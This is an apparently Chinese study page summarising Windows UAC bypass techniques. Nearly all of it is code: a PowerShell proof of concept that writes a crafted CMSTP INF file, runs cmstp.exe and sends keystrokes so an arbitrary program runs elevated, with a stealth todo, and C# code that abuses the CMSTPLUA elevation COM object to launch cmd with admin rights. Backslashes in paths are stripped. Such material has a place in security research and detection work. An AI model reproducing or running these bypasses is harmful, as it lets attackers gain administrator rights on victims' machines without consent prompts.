UAC绕过学习-总结

# UAC Bypass poc using SendKeys# Version 1.0# Author: Oddvar Moe# Functions borrowed from: https://powershell.org/forums/topic/sendkeys/# Todo: Hide window on screen for stealth# Todo: Make script edit the INF file for command to inject...

Function script:Set-INFFile {[CmdletBinding()]  Param (  [Parameter(HelpMessage="Specify the INF file location")]  $InfFileLocation = "$env:tempCMSTP.inf",    [Parameter(HelpMessage="Specify the command to launch in a UAC-privileged window")]  [String]$CommandToExecute = 'C:UsersxxxDesktopuactestartifact.exe'  )
$InfContent = @"[version]Signature=`$chicago`$AdvancedINF=2.5
[DefaultInstall]CustomDestination=CustInstDestSectionAllUsersRunPreSetupCommands=RunPreSetupCommandsSection
[RunPreSetupCommandsSection]; Commands Here will be run Before Setup Begins to install$CommandToExecutetaskkill /IM cmstp.exe /F
[CustInstDestSectionAllUsers]49000,49001=AllUSer_LDIDSection, 7
[AllUSer_LDIDSection]"HKLM", "SOFTWAREMicrosoftWindowsCurrentVersionApp PathsCMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""
[Strings]ServiceName="CorpVPN"ShortSvcName="CorpVPN"
"@
$InfContent | Out-File $InfFileLocation -Encoding ASCII}

Function Get-Hwnd{  [CmdletBinding()]      Param  (    [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] [string] $ProcessName  )  Process    {        $ErrorActionPreference = 'Stop'        Try         {            $hwnd = Get-Process -Name $ProcessName | Select-Object -ExpandProperty MainWindowHandle        }        Catch         {            $hwnd = $null        }        $hash = @{        ProcessName = $ProcessName        Hwnd        = $hwnd        }            New-Object -TypeName PsObject -Property $hash    }}
function Set-WindowActive{  [CmdletBinding()]
  Param  (    [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] [string] $Name  )    Process  {    $memberDefinition = @'    [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);    [DllImport("user32.dll", SetLastError = true)] public static extern bool SetForegroundWindow(IntPtr hWnd);
'@
    Add-Type -MemberDefinition $memberDefinition -Name Api -Namespace User32    $hwnd = Get-Hwnd -ProcessName $Name | Select-Object -ExpandProperty Hwnd    If ($hwnd)     {      $onTop = New-Object -TypeName System.IntPtr -ArgumentList (0)      [User32.Api]::SetForegroundWindow($hwnd)      [User32.Api]::ShowWindow($hwnd, 5)    }    Else     {      [string] $hwnd = 'N/A'    }
    $hash = @{      Process = $Name      Hwnd    = $hwnd    }            New-Object -TypeName PsObject -Property $hash  }}
. Set-INFFile#Needs Windows formsadd-type -AssemblyName System.Windows.FormsIf (Test-Path $InfFileLocation) {#Command to run$ps = new-object system.diagnostics.processstartinfo "c:windowssystem32cmstp.exe"$ps.Arguments = "/au $InfFileLocation"$ps.UseShellExecute = $false
#Start it[system.diagnostics.process]::Start($ps)
do{  # Do nothing until cmstp is an active window}until ((Set-WindowActive cmstp).Hwnd -ne 0)

#Activate windowSet-WindowActive cmstp
#Send the Enter key[System.Windows.Forms.SendKeys]::SendWait("{ENTER}")}

using System;using System.Runtime.CompilerServices;using System.Runtime.InteropServices;
namespace UAC_comICM{    public class Class1    {        internal enum HRESULT : long        {            S_FALSE = 0x0001,            S_OK = 0x0000,            E_INVALIDARG = 0x80070057,            E_OUTOFMEMORY = 0x8007000E        }
        [StructLayout(LayoutKind.Sequential)]        internal struct BIND_OPTS3        {            internal uint cbStruct;            internal uint grfFlags;            internal uint grfMode;            internal uint dwTickCountDeadline;            internal uint dwTrackFlags;            internal uint dwClassContext;            internal uint locale;            object pServerInfo; // will be passing null, so type doesn't matter            internal IntPtr hwnd;        }
        [Flags]        internal enum CLSCTX        {            CLSCTX_INPROC_SERVER = 0x1,            CLSCTX_INPROC_HANDLER = 0x2,            CLSCTX_LOCAL_SERVER = 0x4,            CLSCTX_REMOTE_SERVER = 0x10,            CLSCTX_NO_CODE_DOWNLOAD = 0x400,            CLSCTX_NO_CUSTOM_MARSHAL = 0x1000,            CLSCTX_ENABLE_CODE_DOWNLOAD = 0x2000,            CLSCTX_NO_FAILURE_LOG = 0x4000,            CLSCTX_DISABLE_AAA = 0x8000,            CLSCTX_ENABLE_AAA = 0x10000,            CLSCTX_FROM_DEFAULT_CONTEXT = 0x20000,            CLSCTX_INPROC = CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER,            CLSCTX_SERVER = CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_REMOTE_SERVER,            CLSCTX_ALL = CLSCTX_SERVER | CLSCTX_INPROC_HANDLER        }
        const ulong SEE_MASK_DEFAULT = 0x0;        const ulong SW_SHOW = 0x5;
        [DllImport("ole32.dll", CharSet = CharSet.Unicode, ExactSpelling = true, PreserveSig = false)]        [return: MarshalAs(UnmanagedType.Interface)]        internal static extern object CoGetObject(          string pszName,          [In] ref BIND_OPTS3 pBindOptions,          [In, MarshalAs(UnmanagedType.LPStruct)] Guid riid);
        [DllExport]        public static void BypassUAC()        {            Guid classId_cmstplua = new Guid("3E5FC7F9-9A51-4367-9063-A120244FBEC7");            // Interface ID            Guid interfaceId_icmluautil = new Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C");
            ICMLuaUtil icm = (ICMLuaUtil)LaunchElevatedCOMObject(classId_cmstplua, interfaceId_icmluautil); ;            icm.ShellExec(@"cmd.exe", string.Format("/c {0}", "calc"), @"C:windowssystem32", SEE_MASK_DEFAULT, SW_SHOW);            Marshal.ReleaseComObject(icm);        }
        public static object LaunchElevatedCOMObject(Guid Clsid, Guid InterfaceID)        {            string CLSID = Clsid.ToString("B");            string monikerName = "Elevation:Administrator!new:" + CLSID;
            BIND_OPTS3 bo = new BIND_OPTS3();            bo.cbStruct = (uint)Marshal.SizeOf(bo);            bo.hwnd = IntPtr.Zero;            bo.dwClassContext = (int)CLSCTX.CLSCTX_LOCAL_SERVER;
            object retVal = CoGetObject(monikerName, ref bo, InterfaceID);
            return (retVal);        }
        [ComImport, Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]        interface ICMLuaUtil        {            //[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]            //void QueryInterface([In, MarshalAs(UnmanagedType.LPStruct)] Guid riid, [In, Out] ref IntPtr ppv);            //[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]            //void AddRef();            //[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]            //void Release();            void Method1();            void Method2();            void Method3();            void Method4();            void Method5();            void Method6();            HRESULT ShellExec(                [In, MarshalAs(UnmanagedType.LPWStr)] string file,                [In, MarshalAs(UnmanagedType.LPWStr)] string paramaters,                [In, MarshalAs(UnmanagedType.LPWStr)] string directory,                [In] ulong fMask,                [In] ulong nShow);
                    }     }}